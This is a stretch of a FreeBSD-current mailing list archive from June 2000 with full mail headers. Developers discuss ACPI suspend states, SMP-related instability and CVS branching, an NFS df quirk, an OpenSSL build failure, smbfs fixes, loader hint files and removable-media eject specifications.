<20000621090550.A51097@gurney.reilly.home> References: <20000619070144.B554@broccoli.no-support.loc> <20000617002156A.iwasaki@jp.FreeBSD.org> <394AAE60.B6F0EE2A@newsguy.com> <394AB05C.569DD4DD@newsguy.com> <20000617135611E.iwasaki@jp.FreeBSD.org> <20000619070144.B554@broccoli.no-support.loc> <200006201847.MAA70919@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200006201847.MAA70919@harmony.village.org>; from imp@village.org on Tue, Jun 20, 2000 at 12:47:38PM -0600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jun 20, 2000 at 12:47:38PM -0600, Warner Losh wrote: > In message <20000619070144.B554@broccoli.no-support.loc> Bjoern Fischer writes: > : Just a moment. You talk about doing a `Save-to-Disk' (incl. system halt), > : turning power off, maybe adding some hardware or moving the machine > : to another location, then switching on again, restoring the system context, > : and the machine will proceed as if nothing had happened, do you? > > The S4 sleep state of ACPI doesn't support changing the hardware > configuration while you are in that state. That would probably explain why W'98 gets confused when you _do_ change the hardware configuration while in suspend state. Pretty silly state to get into, then, if hardware like floppy drives are easy to add or remove, and the box looks as though it's off... Any good theories about how to avoid this problem? Avoid S4 and go all the way to shutdown, with a flag set on the boot disk? -- Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 16:33:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from guru.mired.org (zoom2-244.telepath.com [216.14.2.244]) by hub.freebsd.org (Postfix) with SMTP id 91C0137B577 for ; Tue, 20 Jun 2000 16:33:46 -0700 (PDT) (envelope-from mwm@mired.org) Received: (qmail 82608 invoked by uid 100); 20 Jun 2000 23:33:06 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14671.65329.854265.115471@guru.mired.org> Date: Tue, 20 Jun 2000 18:33:05 -0500 (CDT) To: current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: <200006201833.MAA70626@harmony.village.org> References: <20000619115330.D79318@blitz.canonware.com> <200006201833.MAA70626@harmony.village.org> X-Mailer: VM 6.72 under 21.1 (patch 3) "Acadia" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Warner Losh writes: > In message <20000619115330.D79318@blitz.canonware.com> Jason Evans writes: > : Summary: -current will be destabilized for an extended period (on the order > : of months). A tag (not a branch) will be laid down before the initial > : checkin, and non-developers should either stick closely to that tag until > : the kernel stabilizes, or expect large doses of pain. This tag will be > : laid down as soon as June 26, 00:00 PST, with a minimum 24 hour warning > : beforehand. > Thanks for the fair warning. Now don't do it. Has core approved > this? I don't think so, I've seen nothign from them about it. > > The instability ni -current for MONTHS is pain not acceptible. We've > never really allowed that in the past. A CVS branch would be mcuh > better for this sort of thing. I know that's a pain as well, but this > is just for SMP people and the rest of us shouldn't have to deal with > the pain. As someone who does consulting on for release engineering and such things, I'll comment that that's one of the key uses of branches; buliding a development branch so that adding major new features doesn't disrupt other development until they are as stable as the rest of the project. If CVS makes merging a branch back in a pain, and there isn't an open source tool (bitkeeper, maybe?) that solves this problem, then possibly a compromise can be reached with the folks at Perforce(*). They're reasonable people, and think highly of the FreeBSD project. "The Cathederal and the Bazaar" talks about transitioning from closed to open source, so I'd be very surprised if they haven't thought about these issues. As a for instance, possibly they could be talked out of sources for the client (client libraries, that is - the rest is trivial) and a spec for talking to the server, on the assumption that the truly valuable information is in the server. That way, the tools installed by developers would all be open source. Of course, Perforce may have no interest in this, but I can't think of anything more likely to convince them to make such a move than the possibility of the FreeBSD project moving to Perforce. > I understand your desire to have it all in a working tree, but causing > pain for ALL developers for potentially MONTHS isn't a reasonable > request. How far can the tag be stretched to make things work? Can CVS tags be changed to include updates versions of a file, so that there is some possibility that other developers could work with that tag, instead of creating another branch? ; Tue, 20 Jun 2000 17:36:00 -0700 (PDT) (envelope-from root@gits.dyndns.org) Received: (qmail 5321660 invoked from network); 21 Jun 2000 00:35:54 -0000 Received: from r224m65.cybercable.tm.fr (HELO gits.dyndns.org) ([195.132.224.65]) (envelope-sender ) by racine.cybercable.fr (qmail-ldap-1.03) with SMTP for ; 21 Jun 2000 00:35:54 -0000 Received: (from root@localhost) by gits.dyndns.org (8.9.3/8.9.3) id CAA06155; Wed, 21 Jun 2000 02:35:53 +0200 (CEST) (envelope-from root) Posted-Date: Wed, 21 Jun 2000 02:35:53 +0200 (CEST) To: current@FreeBSD.ORG Subject: Re: mount_nfs/df bug? References: <20000620234825.A31951@cichlids.cichlids.com> Reply-To: clefevre@citeweb.net X-Face: V|+c;4!|B?E%BE^{E6);aI.[<97Zd*>^#%Y5Cxv;%Y[PT-LW3;A:fRrJ8+^k"e7@+30g0YD0*^^3jgyShN7o?a]C la*Zv'5NA,=963bM%J^o]C From: Cyrille Lefevre Date: 21 Jun 2000 02:35:51 +0200 In-Reply-To: Alexander Langer's message of "Tue, 20 Jun 2000 23:48:25 +0200" Message-ID: Lines: 13 X-Mailer: Gnus v5.6.45/XEmacs 21.1 - "Canyonlands" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Alexander Langer writes: > Today I wanted to add a new NFS to my /etc/fstab, but forgot to add it > to /etc/exports on the server. > However, I did mount -a several times and always got a "Permission > denied" for the last one. why there isn't an exportfs command as most unices have ? Cyrille. -- home:mailto:clefevre@no-spam.citeweb.net Supprimer "no-spam." pour me repondre. work:mailto:Cyrille.Lefevre@no-spam.edf.fr Remove "no-spam." to answer me back. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 17:36: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from karon.dynas.se (karon.dynas.se [192.71.43.4]) by hub.freebsd.org (Postfix) with SMTP id D69F337B7DB for ; Tue, 20 Jun 2000 17:36:01 -0700 (PDT) (envelope-from mikko@dynas.se) Received: (qmail 7017 invoked from network); 21 Jun 2000 00:36:00 -0000 Received: from spirit.sto.dynas.se (HELO spirit.dynas.se) (172.16.1.10) by karon.sto.dynas.se with SMTP; 21 Jun 2000 00:36:00 -0000 Received: (qmail 14724 invoked from network); 21 Jun 2000 00:36:01 -0000 Received: from m2.dynas.se (172.16.1.168) by spirit.dynas.se with SMTP; 21 Jun 2000 00:36:01 -0000 Received: (from mikko@localhost) by m2.dynas.se (8.9.3/8.9.3) id CAA02201; Wed, 21 Jun 2000 02:39:55 +0200 (CEST) (envelope-from mikko) Date: Wed, 21 Jun 2000 02:39:55 +0200 (CEST) From: Mikko Tyolajarvi Message-Id: <200006210039.CAA02201@m2.dynas.se> To: marc@oldserver.demon.nl Cc: freebsd-current@freebsd.org Subject: Re: make buildworld failed... Newsgroups: local.freebsd-current References: <87snu98l62.fsf@titine.fr.eu.org> X-Newsreader: NN version 6.5.6 (NOV) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In local.freebsd-current you write: >On 19 Jun 2000, Eric Jacoboni wrote: >> >>>>> "Sergey" == Sergey Osokin writes: >> >> Sergey> Hello! >> Sergey> After CVSuped my source, i try to buildworld and it failed... >> >> Sergey> ===> libssh >> (...) >> Sergey> /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such file or directory >> Sergey> mkdep: compile failed >> Sergey> *** Error code 1 >> >> Sergey> Stop in /usr/src/secure/lib/libssh. >> Sergey> *** Error code 1 >> >[...] >> >> Same for me (fresh cvsup)... From the FAQ : "You can try to config >> OpenSSL so as not to use IDEA by using './config no-idea'". But i've >> no idea (what's a joke...) on how to do that with 'make buildworld'. >> >Me too. I would very much appreciate a hint here. Thx! Try this as a workaround: cp /usr/src/crypto/openssl/crypto/idea/idea.h /usr/include/openssl /Mikko -- Mikko Työläjärvi_______________________________________mikko@rsasecurity.com RSA Security To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 18:30:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id B2FFB37B9AC for ; Tue, 20 Jun 2000 18:30:54 -0700 (PDT) (envelope-from bp@butya.kz) Received: from bp (helo=localhost) by relay.butya.kz with local-esmtp (Exim 3.13 #1) id 134ZLo-000JKc-00; Wed, 21 Jun 2000 08:30:44 +0700 Date: Wed, 21 Jun 2000 08:30:44 +0700 (ALMST) From: Boris Popov To: kit Cc: freebsd-current@freebsd.org Subject: Re: smbfs second mount In-Reply-To: <394C564E.B59E8225@team.xtra.co.nz> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 18 Jun 2000, kit wrote: > On Freebsd 4.0-Release > I am trying the smbfs-1.2.1 to mount a couple of NT shares so > that I can read some files and copy them to a web server. > > The problem I am having is that the second mount kills the first. Ok, this problem fixed along with others NT related things. An updated version (1.2.2) can downloaded from ftp://ftp.butya.kz/pub/smbfs/smbfs.tar.gz -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 18:35: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id 2C5AD37B928 for ; Tue, 20 Jun 2000 18:34:57 -0700 (PDT) (envelope-from bp@butya.kz) Received: from bp (helo=localhost) by relay.butya.kz with local-esmtp (Exim 3.13 #1) id 134ZPW-000JL4-00; Wed, 21 Jun 2000 08:34:34 +0700 Date: Wed, 21 Jun 2000 08:34:34 +0700 (ALMST) From: Boris Popov To: "Brandon D. Valentine" Cc: kit , freebsd-current@FreeBSD.ORG Subject: Re: smbfs second mount In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 18 Jun 2000, Brandon D. Valentine wrote: > Out of curiosity, are there any plans to commit the smbfs stuff? It is > really useful and I'd love to see it in the base system. Yes, I'm get much more responses about smbfs compared to nwfs. So, probably it should be in the base system. -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 18:48:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id 4E01437B928 for ; Tue, 20 Jun 2000 18:48:19 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from strontium.scientia.demon.co.uk ([192.168.91.36] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.12 #2) id 134Yk5-0007g1-00; Wed, 21 Jun 2000 01:51:45 +0100 Received: from ben by strontium.scientia.demon.co.uk with local (Exim 3.12 #5) id 134Yk4-0009wg-00; Wed, 21 Jun 2000 01:51:44 +0100 Date: Wed, 21 Jun 2000 01:51:44 +0100 From: Ben Smithurst To: Alexander Langer Cc: current@freebsd.org Subject: Re: mount_nfs/df bug? Message-ID: <20000621015144.B57917@strontium.scientia.demon.co.uk> References: <20000620234825.A31951@cichlids.cichlids.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="+pHx0qQiF2pBVqBT" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000620234825.A31951@cichlids.cichlids.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --+pHx0qQiF2pBVqBT Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Alexander Langer wrote: > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/h= ome/ncvs > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/h= ome/mp3 > neutron:/usr/home/brenn 695311 594838 44849 93% /usr/h= ome/brenn > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/h= ome/ncvs > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/h= ome/mp3 > neutron:/usr/home/brenn 695311 594838 44849 93% /usr/h= ome/brenn > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/h= ome/ncvs > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/h= ome/mp3 > neutron:/usr/home/brenn 695311 594838 44849 93% /usr/h= ome/brenn > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/h= ome/ncvs > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/h= ome/mp3 > neutron:/usr/home/brenn 695311 594838 44849 93% /usr/h= ome/brenn You probably have a symlink in the client path somewhere. Is /usr/home a symlink to /home or something? --=20 Ben Smithurst / ben@scientia.demon.co.uk / PGP: 0x99392F7D --+pHx0qQiF2pBVqBT Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: upiL5wNosBcN4rAh4qlI/GdhQyiDcO/D iQCVAwUBOVARnysPVtiZOS99AQELWwP/ShZVeGNFNGoyqaePYOucZpk0mVUoynZ3 48ylm7cguoGa8Cq2VT6ARCTm8JUsAZYgXVQx5/jKkAwSJaKmnnHv5a8zA4LoAGLK lWY2DhnsVHF0SXoGPgmGRJWQhtEUIvAl2QCAE3s19BnmiXxlETPImtP6gtq3hQOT OTf7rMA3r08= =Jbfp -----END PGP SIGNATURE----- --+pHx0qQiF2pBVqBT-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 22:54:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id A4D9B37BB48 for ; Tue, 20 Jun 2000 22:54:11 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p60-dn02kiryunisiki.gunma.ocn.ne.jp [211.0.245.125]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id OAA29379; Wed, 21 Jun 2000 14:53:55 +0900 (JST) Message-ID: <395041F3.A8FF6965@newsguy.com> Date: Wed, 21 Jun 2000 13:17:55 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Andrzej Bialecki Cc: Peter Wemm , current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Andrzej Bialecki wrote: > > This thread is long, so maybe I missed something.. Can we have the *.hints > file loadable as a module of some special type (like kernel.conf), and > searched for during configuration like userconfig did? Funny you got no reply. This is not necessary. If you copy said file to /boot/device.hints, it will be read automatically as a loader .conf file and set environment variables that will be read automatically by the kernel. If you wish to use alternate configurations without tweaking device.hints, you can do loader_conf_files="xyzzy" And xyzzy will be read. Since device.hints is read right after /boot/defaults/loader.conf, anything later will override it's values. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org Windows works, for sufficently small values of "works". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 22:54:28 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 4DA4137BB81 for ; Tue, 20 Jun 2000 22:54:13 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p60-dn02kiryunisiki.gunma.ocn.ne.jp [211.0.245.125]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id OAA29429; Wed, 21 Jun 2000 14:54:03 +0900 (JST) Message-ID: <39504D97.B89B0438@newsguy.com> Date: Wed, 21 Jun 2000 14:07:35 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Peter Jeremy Cc: current@FreeBSD.ORG Subject: Re: mktemp() patch References: <00Jun19.084031est.115299@border.alcanet.com.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Peter Jeremy wrote: > > On Sun, Jun 11, 2000 at 02:41:12AM +1000, Daniel C. Sobral wrote: > >Mind you, shells don't have problems with any character at all in a > >filename if they are properly written, but if you are expecting the > >filenames generated by mktemp() to be handled by shell, they ought to > >pass the > > > >IFS=':'; for file in $filelist > > > >test. > > Why? Isn't it equally valid to state that they ought to pass > IFS='a'; for file in $filelist > or setting IFS to any other random character? Because : is a standard separator. See, for instance, PATH. (And see the "mind you" part of my comment above :). -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org Windows works, for sufficently small values of "works". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 22:54:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id CC70637BDD9; Tue, 20 Jun 2000 22:54:14 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p60-dn02kiryunisiki.gunma.ocn.ne.jp [211.0.245.125]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id OAA29447; Wed, 21 Jun 2000 14:54:07 +0900 (JST) Message-ID: <39505213.BE8C4D3F@newsguy.com> Date: Wed, 21 Jun 2000 14:26:43 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Warner Losh Cc: Mitsuru IWASAKI , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, acpi-jp@jp.FreeBSD.org Subject: Re: ACPI project progress report References: <20000617002156A.iwasaki@jp.FreeBSD.org> <200006190445.WAA53570@harmony.village.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Warner Losh wrote: > > In message <20000617002156A.iwasaki@jp.FreeBSD.org> Mitsuru IWASAKI writes: > : Hi, here is the latest report on our ACPI project's progress. > > As I told you on the Train in Tokyo: Cool! Way Cool! ACPI should > enable us to properly put the chipsets in laptops to sleep and then > wake them up again. Right now pccard insert/removal can be missed > when you put a laptop to sleep... BTW, have you decided between NetBSD and BSD/OS cardbus code yet? -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org Windows works, for sufficently small values of "works". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 22:59:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 4712B37BBC6; Tue, 20 Jun 2000 22:59:53 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA44079; Tue, 20 Jun 2000 23:59:47 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA78377; Tue, 20 Jun 2000 23:58:16 -0600 (MDT) Message-Id: <200006210558.XAA78377@harmony.village.org> To: "Daniel C. Sobral" Subject: Re: ACPI project progress report Cc: Mitsuru IWASAKI , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, acpi-jp@jp.FreeBSD.org In-reply-to: Your message of "Wed, 21 Jun 2000 14:26:43 +0900." <39505213.BE8C4D3F@newsguy.com> References: <39505213.BE8C4D3F@newsguy.com> <20000617002156A.iwasaki@jp.FreeBSD.org> <200006190445.WAA53570@harmony.village.org> Date: Tue, 20 Jun 2000 23:58:16 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <39505213.BE8C4D3F@newsguy.com> "Daniel C. Sobral" writes: : BTW, have you decided between NetBSD and BSD/OS cardbus code yet? No. There is no BSD/OS cardbus card that I could find in the tree. If I'm being insanely blind, please someone tell me. The short term plan is to get NEWCARD working and then look at wildboar to see if it could be useful. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 23:20:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from mimer.webgiro.com (mimer.webgiro.com [212.209.29.5]) by hub.freebsd.org (Postfix) with ESMTP id 3EC4337BA5A for ; Tue, 20 Jun 2000 23:20:09 -0700 (PDT) (envelope-from abial@webgiro.com) Received: by mimer.webgiro.com (Postfix, from userid 66) id 320152DC0A; Wed, 21 Jun 2000 08:26:09 +0200 (CEST) Received: by mx.webgiro.com (Postfix, from userid 1001) id 614B07817; Wed, 21 Jun 2000 08:17:33 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by mx.webgiro.com (Postfix) with ESMTP id 5293410E17; Wed, 21 Jun 2000 08:17:33 +0200 (CEST) Date: Wed, 21 Jun 2000 08:17:33 +0200 (CEST) From: Andrzej Bialecki To: "Daniel C. Sobral" Cc: Peter Wemm , current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... In-Reply-To: <395041F3.A8FF6965@newsguy.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 21 Jun 2000, Daniel C. Sobral wrote: > Andrzej Bialecki wrote: > > > > This thread is long, so maybe I missed something.. Can we have the *.hints > > file loadable as a module of some special type (like kernel.conf), and > > searched for during configuration like userconfig did? > > Funny you got no reply. At last some merciful soul.. Thank you! :-) > > This is not necessary. If you copy said file to /boot/device.hints, it > will be read automatically as a loader .conf file and set environment > variables that will be read automatically by the kernel. > > If you wish to use alternate configurations without tweaking > device.hints, you can do > > loader_conf_files="xyzzy" > > And xyzzy will be read. Since device.hints is read right after > /boot/defaults/loader.conf, anything later will override it's values. That's fine. However, this practically makes using /boot/loader mandatory. I still wonder if having some in-kernel interpreter wouldn't give us more choice, with exactly the same functionality. Of course, it would have to be run before any probing starts... Andrzej Bialecki // WebGiro AB, Sweden (http://www.webgiro.com) // ------------------------------------------------------------------- // ------ FreeBSD: The Power to Serve. http://www.freebsd.org -------- // --- Small & Embedded FreeBSD: http://www.freebsd.org/~picobsd/ ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 23:49: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from c014.sfo.cp.net (c014-h022.c014.sfo.cp.net [209.228.12.86]) by hub.freebsd.org (Postfix) with SMTP id 9351237BD96 for ; Tue, 20 Jun 2000 23:49:00 -0700 (PDT) (envelope-from gharris@flashcom.net) Received: (cpmta 3392 invoked from network); 20 Jun 2000 23:48:59 -0700 Received: from d8c81e5f.dsl.flashcom.net (HELO quadrajet.flashcom.com) (216.200.30.95) by smtp.flashcom.net (209.228.12.86) with SMTP; 20 Jun 2000 23:48:59 -0700 X-Sent: 21 Jun 2000 06:48:59 GMT Received: (from guy@localhost) by quadrajet.flashcom.com (8.9.3/8.9.3) id XAA09181; Tue, 20 Jun 2000 23:46:57 -0700 (PDT) (envelope-from gharris) Date: Tue, 20 Jun 2000 23:46:56 -0700 From: Guy Harris To: Mike Smith Cc: "Kenneth D. Merry" , FreeBSD current users Subject: Re: -e option to umount? Message-ID: <20000620234656.A355@quadrajet.flashcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6us Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hmm. If SCSI drives are anything like ATAPI drives (and here I confess I > haven't checked), the first I/O after the eject button is pressed will > come back with a marker (eg. check condition) with sense information that > indicates that a user eject was requested. The page at http://www.microsoft.com/hwdev/respec/storspec.htm says: Storage-Related Specifications from Microsoft The download documents on this page are in Microsoft(R) Word format. After unzipping, these files can be viewed in any text editor, including all versions of Microsoft Word, WordPad, and Microsoft Word Viewer. (This link points to instructions on how to view and print documents in Microsoft Word.) [It's an RTF file, so perhaps the "any text editor" claim could be considered true.] Media Status Notification Support Specification, Version 1.03 (Download: 44K RTF file, published: March 1996; file date = May 20, 1996) Specifies, for ATA and ATAPI devices, the protocol for communicating when the user wants to eject the medium or has inserted a new medium. Published by Microsoft Corporation. Important: For CD-ROM and DVD-ROM drives implementing Media Status Notification, the latest version of packet-based Media Status Notification specification is actually a subsection of the Mt. Fuji specification, which is the command set specification for DVD-ROM that will be released as document SFF 8090. For CD-ROM and DVD-ROM drives, do not use Media Status Notification specification v. 1.03 or earlier, as this version of the specification does not apply to optical storage devices. For complete information, see the current PC System Design Guide. ... Media Status Notification Specification for SCSI and ATAPI Devices, Version 0.1 Specifies, for ATAPI and SCSI devices, the protocol for communicating when the user wants to eject the medium or has inserted a new medium. Published by Microsoft Corporation. DRAFT: Media Status Notification Specification for SCSI and ATAPI Devices, Version 0.1 (Download: 45K RTF file, published: March 1996; file date = May 30, 1996) [The first of the latter two is in HTML; the second of them is in RTF.] The 0.1 specification (the HTML one, at http://www.microsoft.com/hwdev/respec/scsimed.htm ) says A major shortcoming of removable media devices on PC platforms is their inability to report to the host when the user attempts to eject the medium. Currently most removable media devices just eject the medium when the user presses the Eject button, and potentially any data the operating system has not saved to the device is lost. Various volume tracking and locking schemes reduce this risk, but do not eliminate it. Ideally, devices will have a means of communicating to the host that the user wants to eject the medium or has inserted a new medium. This specification defines a protocol for providing this function for SCSI ATA and ATAPI devices. The support is enabled using a new SCSI command, ENABLE MEDIA STATUS, and the media status is retrieved using a new SCSI ATA command, GET MEDIA STATUS. Because it is difficult for a SCSI target to asynchronously interrupt the host due to lack of industry support for Asynchronous Event Notification, the GET MEDIA STATUS command is not completed by the target until a media status change occurs. If tagged command queuing is not supported by the target and/or the host, a means of polling the target for status changes is also specified. Note that in some controllers the unused words in the ID Drive data are returned as 0FFFFh. Thus it may be better if the Status Notification support was returned as a 2 bit field, where 00b, 11b are both defined as drive not supporting Status notification. I suspect this is mainly intended for devices such as Zip drives (note the comment about "potentially any data the operating system has not saved to the device is lost"). The 1.03 version mentions only ATA drives, saying A major shortcoming of removable media devices on PC platforms is their inability to report to the host when the user attempts to eject the medium. Currently most removable media devices just eject the medium when the user presses the Eject button, and potentially any data the operating system has not saved to the device is lost. Various volume tracking and locking schemes reduce this risk, but do not eliminate it. Ideally, devices will have a means of communicating to the host that the user wants to eject the medium or has inserted a new medium. This specification defines a protocol for providing this function for ATA and ATAPI devices. The support is enabled using a SET FEATURES command, and the media status is retrieved using a new command, GET MEDIA STATUS. Because it is difficult for an ATA drive to asynchronously interrupt the host when it is not the active drive, this scheme is implemented by the host polling the device for status. This sounds different from the "sense information that indicates that a user reject was requested" stuff you mention; I don't know whether any drives implement either of those specs (0.1 for SCSI and 1.03 for ATA?). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 23:49:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.surf1.de (mail.surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id 3C49A37BDB5 for ; Tue, 20 Jun 2000 23:49:03 -0700 (PDT) (envelope-from alex@big.endian.de) Received: from neutron.cichlids.com (p3E9C110C.dip0.t-ipconnect.de [62.156.17.12]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id IAA18275; Wed, 21 Jun 2000 08:48:17 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by neutron.cichlids.com (Postfix) with ESMTP id 84401AC27; Wed, 21 Jun 2000 08:48:45 +0200 (CEST) Received: by cichlids.cichlids.com (Postfix, from userid 1001) id A8ABC14AB2; Wed, 21 Jun 2000 08:48:49 +0200 (CEST) Date: Wed, 21 Jun 2000 08:48:49 +0200 From: Alexander Langer To: Ben Smithurst Cc: current@freebsd.org Subject: Re: mount_nfs/df bug? Message-ID: <20000621084849.C1165@cichlids.cichlids.com> Mail-Followup-To: Ben Smithurst , current@freebsd.org References: <20000620234825.A31951@cichlids.cichlids.com> <20000621015144.B57917@strontium.scientia.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Mailer: Mutt 